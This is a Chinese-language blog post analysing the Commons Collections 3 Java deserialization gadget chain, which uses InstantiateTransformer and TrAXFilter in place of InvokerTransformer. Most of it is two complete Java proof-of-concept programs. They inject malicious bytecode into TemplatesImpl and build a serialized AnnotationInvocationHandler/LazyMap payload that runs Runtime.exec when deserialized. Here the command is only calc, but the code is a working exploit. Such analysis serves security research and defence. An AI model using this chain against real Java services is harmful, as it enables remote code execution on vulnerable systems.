CommonsCollections3 反序列化链分析

CommonsCollections3 反序列化链分析

一、前言

Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.

CommonsCollections1 的变体,它使用 InstantiateTransformer 而不是 InvokerTransformer。

二、利用链分析

|350

这部分和CC2中的差不多,将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplateImpl中的_bytecodes属性,等待调用TemplatesImpl#newTransformer方法,直接看截图吧





到这里可以构造出初步的利用链,和CC1的一模一样。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import java.lang.reflect.Field;  
public class CC3 {  
    public static void main(String[] args) throws Exception {  
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池  
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
        CtClass payload = classPool.makeClass("CommonsCollections33333333");//创建一个新的public类  
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections33333类的父类为AbstractTranslet  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime  
        byte[] bytes = payload.toBytecode();//转换为byte数组  
//        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
        TemplatesImpl templatesImpl = new TemplatesImpl();  
        Field name = templatesImpl.getClass().getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templatesImpl, "test");  
        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
        bytecodes.set(templatesImpl, new byte[][]{bytes});  
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templatesImpl, new TransformerFactoryImpl());  
        templatesImpl.newTransformer();  
    }  
}

到这里利用链都是和CC2一致的,到下面的步骤需要寻找调用templatesImpl.newTransformer()方法的类,在ysoserial中CC3使用TrAXFilter类中的构造方法中调用了该方法


CC3的出现就是在过滤InvokerTransformer类情况下的绕过,CC3使用InstantiateTransformer#transform(object input)方法来绕过该过滤,与InvokerTransformer#transform类似,该方法调用了传入的TrAXFilter类传入的object对象的构造方法

如果transform方法传入参数input可控,且iParamTypes(传入对象的构造方法)与iArgs(构造方法的传入参数)可控,即可调用任意类的构造方法。

通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iArgs参数的控制。目前的目标是调用TrAXFilter(恶意Templates对象)构造方法,通过构造上文提到的ChainedTransformer反射链,完成如下效果:

TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)

从而实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用。从而完成利用链的构造。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import javax.xml.transform.Templates;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.HashMap;  
import java.util.Map;  
public class CC3 {  
    public static void main(String[] args) throws Exception {  
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String AnnotationInvocationHandler = "sun.reflect.annotation.AnnotationInvocationHandler";  
//        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池  
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
        CtClass payload = classPool.makeClass("CommonsCollections33333333");//创建一个新的public类  
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime  
        byte[] bytes = payload.toBytecode();//转换为byte数组  
//        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
        final TemplatesImpl templatesImpl = new TemplatesImpl();  
        Field name = templatesImpl.getClass().getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templatesImpl, "test");  
        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
        bytecodes.set(templatesImpl, new byte[][]{bytes});  
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templatesImpl, new TransformerFactoryImpl());  
//        templatesImpl.newTransformer();  
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})  
        });  
        HashMap<Object, Object> map = new HashMap<Object, Object>();  
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);  
        Class aClass = Class.forName(AnnotationInvocationHandler);  
        Constructor an = aClass.getDeclaredConstructor(Class.class, Map.class);  
        an.setAccessible(true);  
        InvocationHandler instance = (InvocationHandler) an.newInstance(Override.class, lazyMap);  
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);  
        Object os = an.newInstance(Override.class, mapProxy);  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(os);  
        oos.close();  
        System.out.println(barr);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));  
        Object o = ois.readObject();  
        System.out.println(o);  
    }  
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇